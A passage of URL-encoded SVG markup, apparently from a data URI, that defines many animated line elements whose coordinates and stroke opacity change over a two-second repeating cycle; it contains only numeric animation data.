324%3B112.4324%3B112.4324%3B101.0878%3B88.4314%3B74.2217%3B58.1541%3B39.8387%3B18.7685%3B18.7685%3B18.7685%3B18.7685%3B18.7685%3B18.7685%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22269.86%3B269.86%3B269.86%3B269.86%3B269.86%3B269.86%3B269.86%3B269.86%3B269.86%3B269.86%3B271.492%3B273.3127%3B275.3568%3B277.6683%3B280.303%3B283.3341%3B283.3341%3B283.3341%3B283.3341%3B283.3341%3B283.3341%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22120.7297%3B120.7297%3B120.7297%3B120.7297%3B120.7297%3B120.7297%3B120.7297%3B120.7297%3B120.7297%3B120.7297%3B112.4324%3B101.0878%3B88.4314%3B74.2217%3B58.1541%3B39.8387%3B-2.0539%3B-2.0539%3B-2.0539%3B-2.0539%3B-2.0539%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22268.6663%3B268.6663%3B268.6663%3B268.6663%3B268.6663%3B268.6663%3B268.6663%3B268.6663%3B268.6663%3B268.6663%3B269.86%3B271.492%3B273.3127%3B275.3568%3B277.6683%3B280.303%3B286.3296%3B286.3296%3B286.3296%3B286.3296%3B286.3296%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22104.6214%22%20y1%3D%22455.3026%22%20x2%3D%22107.7658%22%20y2%3D%22452.1594%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22104.6214%3B104.6214%3B104.6214%3B104.6214%3B104.6214%3B104.6214%3B104.6214%3B104.6214%3B104.6214%3B104.6214%3B93.1691%3B80.4305%3B80.4305%3B80.4305%3B80.4305%3B80.4305%3B80.4305%3B80.4305%3B80.4305%3B80.4305%3B80.4305%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22455.3026%3B455.3026%3B455.3026%3B455.3026%3B455.3026%3B455.3026%3B455.3026%3B455.3026%3B455.3026%3B455.3026%3B466.7509%3B479.485%3B479.485%3B479.485%3B479.485%3B479.485%3B479.485%3B479.485%3B479.485%3B479.485%3B479.485%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22107.7658%3B107.7658%3B107.7658%3B107.7658%3B107.7658%3B107.7658%3B107.7658%3B107.7658%3B107.7658%3B107.7658%3B104.6214%3B93.1691%3B79.5833%3B79.5833%3B79.5833%3B79.5833%3B79.5833%3B79.5833%3B79.5833%3B79.5833%3B79.5833%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22452.1594%3B452.1594%3B452.1594%3B452.1594%3B452.1594%3B452.1594%3B452.1594%3B452.1594%3B452.1594%3B452.1594%3B455.3026%3B466.7509%3B480.332%3B480.332%3B480.332%3B480.332%3B480.332%3B480.332%3B480.332%3B480.332%3B480.332%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22348.3676%22%20y1%3D%22204.8431%22%20x2%3D%22347.5013%22%20y2%3D%22205.9168%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22348.3676%3B348.3676%3B348.3676%3B348.3676%3B348.3676%3B348.3676%3B348.3676%3B348.3676%3B348.3676%3B348.3676%3B349.9022%3B351.6122%3B353.5297%3B355.6949%3B358.1589%3B360.9884%3B364.2711%3B368.1255%3B372.7149%3B378.2719%3B385.1387%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22204.8431%3B204.8431%3B204.8431%3B204.8431%3B204.8431%3B204.8431%3B204.8431%3B204.8431%3B204.8431%3B204.8431%3B202.9413%3B200.8219%3B198.4455%3B195.7622%3B192.7084%3B189.2017%3B185.1333%3B180.3566%3B174.6687%3B167.7817%3B159.2715%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22347.5013%3B347.5013%3B347.5013%3B347.5013%3B347.5013%3B347.5013%3B347.5013%3B347.5013%3B347.5013%3B347.5013%3B348.3676%3B349.9022%3B351.6122%3B353.5297%3B355.6949%3B358.1589%3B360.9884%3B364.2711%3B368.1255%3B372.7149%3B378.2719%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22205.9168%3B205.9168%3B205.9168%3B205.9168%3B205.9168%3B205.9168%3B205.9168%3B205.9168%3B205.9168%3B205.9168%3B204.8431%3B202.9413%3B200.8219%3B198.4455%3B195.7622%3B192.7084%3B189.2017%3B185.1333%3B180.3566%3B174.6687%3B167.7817%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2262.314%22%20y1%3D%2246.7538%22%20x2%3D%2265.2965%22%20y2%3D%2248.9905%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2262.314%3B62.314%3B62.314%3B62.314%3B62.314%3B62.314%3B62.314%3B62.314%3B62.314%3B62.314%3B48.6562%3B33.4696%3B16.4823%3B16.4823%3B16.4823%3B16.4823%3B16.4823%3B16.4823%3B16.4823%3B16.4823%3B16.4823%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2246.7538%3B46.7538%3B46.7538%3B46.7538%3B46.7538%3B46.7538%3B46.7538%3B46.7538%3B46.7538%3B46.7538%3B36.5115%3B25.1226%3B12.3834%3B12.3834%3B12.3834%3B12.3834%3B12.3834%3B12.3834%3B12.3834%3B12.3834%3B12.3834%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2265.2965%3B65.2965%3B65.2965%3B65.2965%3B65.2965%3B65.2965%3B65.2965%3B65.2965%3B65.2965%3B65.2965%3B62.314%3B48.6562%3B33.4696%3B-0.8659%3B-0.8659%3B-0.8659%3B-0.8659%3B-0.8659%3B-0.8659%3B-0.8659%3B-0.8659%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2248.9905%3B48.9905%3B48.9905%3B48.9905%3B48.9905%3B48.9905%3B48.9905%3B48.9905%3B48.9905%3B48.9905%3B46.7538%3B36.5115%3B25.1226%3B-0.6265%3B-0.6265%3B-0.6265%3B-0.6265%3B-0.6265%3B-0.6265%3B-0.6265%3B-0.6265%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22182.9015%22%20y1%3D%2225.852%22%20x2%3D%22183.3331%22%20y2%3D%2226.526%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B175.6998%3B167.6994%3B167.6994%3B167.6994%3B167.6994%3B167.6994%3B167.6994%3B167.6994%3B167.6994%3B167.6994%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2225.852%3B25.852%3B25.852%3B25.852%3B25.852%3B25.852%3B25.852%3B25.852%3B25.852%3B25.852%3B25.852%3B14.6028%3B2.1062%3B2.1062%3B2.1062%3B2.1062%3B2.1062%3B2.1062%3B2.1062%3B2.1062%3B2.1062%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B182.9015%3B175.6998%3B166.1498%3B166.1498%3B166.1498%3B166.1498%3B166.1498%3B166.1498%3B166.1498%3B166.1498%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2226.526%3B26.526%3B26.526%3B26.526%3B26.526%3B26.526%3B26.526%3B26.526%3B26.526%3B26.526%3B26.526%3B25.852%3B14.6028%3B-0.3143%3B-0.3143%3B-0.3143%3B-0.3143%3B-0.3143%3B-0.3143%3B-0.3143%3B-0.3143%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22459.8497%22%20y1%3D%2246.9174%22%20x2%3D%22456.5137%22%20y2%3D%2251.5233%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B467.3603%3B475.7232%3B485.0926%3B485.0926%3B485.0926%3B485.0926%3B485.0926%3B485.0926%3B485.0926%3B485.0926%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2246.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B36.5481%3B25.0018%3B12.0661%3B12.0661%3B12.0661%3B12.0661%3B12.0661%3B12.0661%3B12.0661%3B12.0661%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B459.8497%3B467.3603%3B475.7232%3B494.3337%3B494.3337%3B494.3337%3B494.3337%3B494.3337%3B494.3337%3B494.3337%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2251.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B46.9174%3B36.5481%3B25.0018%3B-0.6926%3B-0.6926%3B-0.6926%3B-0.6926%3B-0.6926%3B-0.6926%3B-0.6926%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2226.6324%22%20y1%3D%22217.0493%22%20x2%3D%2227.445%22%20y2%3D%22217.1129%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2226.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B11.228%3B11.228%3B11.228%3B11.228%3B11.228%3B11.228%3B11.228%3B11.228%3B11.228%3B11.228%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B215.8442%3B215.8442%3B215.8442%3B215.8442%3B215.8442%3B215.8442%3B215.8442%3B215.8442%3B215.8442%3B215.8442%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2227.445%3B27.445%3B27.445%3B27.445%3B27.445%3B27.445%3B27.445%3B27.445%3B27.445%3B27.445%3B27.445%3B26.6324%3B-0.3163%3B-0.3163%3B-0.3163%3B-0.3163%3B-0.3163%3B-0.3163%3B-0.3163%3B-0.3163%3B-0.3163%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.0493%3B214.941%3B214.941%3B214.941%3B214.941%3B214.941%3B214.941%3B214.941%3B214.941%3B214.941%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2296.9375%22%20y1%3D%22170.5612%22%20x2%3D%2297.7554%22%20y2%3D%22170.8158%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2296.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B85.2136%3B72.1889%3B57.6343%3B41.2634%3B22.7134%3B1.5185%3B1.5185%3B1.5185%3B1.5185%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B166.9116%3B162.8571%3B158.3262%3B153.23%3B147.4555%3B140.8575%3B140.8575%3B140.8575%3B140.8575%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2297.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B96.9375%3B85.2136%3B72.1889%3B57.6343%3B41.2634%3B22.7134%3B-1.4885%3B-1.4885%3B-1.4885%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.5612%3B166.9116%3B162.8571%3B158.3262%3B153.23%3B147.4555%3B139.9215%3B139.9215%3B139.9215%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22380.8104%22%20y1%3D%22196.1044%22%20x2%3D%22379.4083%22%20y2%3D%22197.1165%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B384.0734%3B387.7064%3B391.7761%3B396.3664%3B401.5839%3B407.5667%3B414.4963%3B422.6169%3B432.2645%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B193.7491%3B191.1266%3B188.1889%3B184.8755%3B181.1092%3B176.7906%3B171.7885%3B165.9267%3B158.9627%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B380.8104%3B384.0734%3B387.7064%3B391.7761%3B396.3664%3B401.5839%3B407.5667%3B414.4963%3B422.6169%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B196.1044%3B193.7491%3B191.1266%3B188.1889%3B184.8755%3B181.1092%3B176.7906%3B171.7885%3B165.9267%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22459.9175%22%20y1%3D%22410.6485%22%20x2%3D%22453.7113%22%20y2%3D%22403.0792%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B467.6017%3B476.179%3B485.8146%3B496.7174%3B509.1549%3B509.1549%3B509.1549%3B509.1549%3B509.1549%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B420.0204%3B430.4816%3B442.2336%3B455.531%3B470.7003%3B470.7003%3B470.7003%3B470.7003%3B470.7003%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B459.9175%3B467.6017%3B476.179%3B485.8146%3B496.7174%3B517.7618%3B517.7618%3B517.7618%3B517.7618%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B410.6485%3B420.0204%3B430.4816%3B442.2336%3B455.531%3B481.1976%3B481.1976%3B481.1976%3B481.1976%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22216.2194%22%20y1%3D%22398.6647%22%20x2%3D%22216.3994%22%20y2%3D%22398.3896%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B210.776%3B204.7298%3B197.9751%3B190.3795%3B181.7755%3B171.948%3B171.948%3B171.948%3B171.948%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B406.987%3B416.2306%3B426.5575%3B438.1701%3B451.3243%3B466.349%3B466.349%3B466.349%3B466.349%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.2194%3B210.776%3B204.7298%3B197.9751%3B190.3795%3B181.7755%3B162.163%3B162.163%3B162.163%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.6647%3B406.987%3B416.2306%3B426.5575%3B438.1701%3B451.3243%3B481.3088%3B481.3088%3B481.3088%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22375.9399%22%20y1%3D%22438.7211%22%20x2%3D%22375.7935%22%20y2%3D%22438.2011%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B378.8767%3B382.1391%3B385.7842%3B385.7842%3B385.7842%3B385.7842%3B385.7842%3B385.7842%3B385.7842%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B449.1541%3B460.7432%3B473.692%3B473.692%3B473.692%3B473.692%3B473.692%3B473.692%3B473.692%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.9399%3B378.8767%3B382.1391%3B387.7102%3B387.7102%3B387.7102%3B387.7102%3B387.7102%3B387.7102%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.7211%3B449.1541%3B460.7432%3B480.534%3B480.534%3B480.534%3B480.534%3B480.534%3B480.534%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2221.1776%22%20y1%3D%22292.3535%22%20x2%3D%2231.5813%22%20y2%3D%22290.5308%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2221.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B4.9374%3B4.9374%3B4.9374%3B4.9374%3B4.9374%3B4.9374%3B4.9374%3B4.9374%3B4.9374%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B295.1988%3B295.1988%3B295.1988%3B295.1988%3B295.1988%3B295.1988%3B295.1988%3B295.1988%3B295.1988%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2231.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B21.1776%3B-0.3693%3B-0.3693%3B-0.3693%3B-0.3693%3B-0.3693%3B-0.3693%3B-0.3693%3B-0.3693%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B292.3535%3B296.1285%3B296.1285%3B296.1285%3B296.1285%3B296.1285%3B296.1285%3B296.1285%3B296.1285%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22181.7049%22%20y1%3D%22189.843%22%20x2%3D%22182.7007%22%20y2%3D%22190.2041%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B174.4091%3B166.3005%3B157.2355%3B147.0343%3B135.4687%3B122.2457%3B106.9813%3B89.1633%3B68.0925%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B187.1969%3B184.2561%3B180.9684%3B177.2686%3B173.074%3B168.2782%3B162.7421%3B156.2799%3B148.6379%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B181.7049%3B174.4091%3B166.3005%3B157.2355%3B147.0343%3B135.4687%3B122.2457%3B106.9813%3B89.1633%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22190.2041%3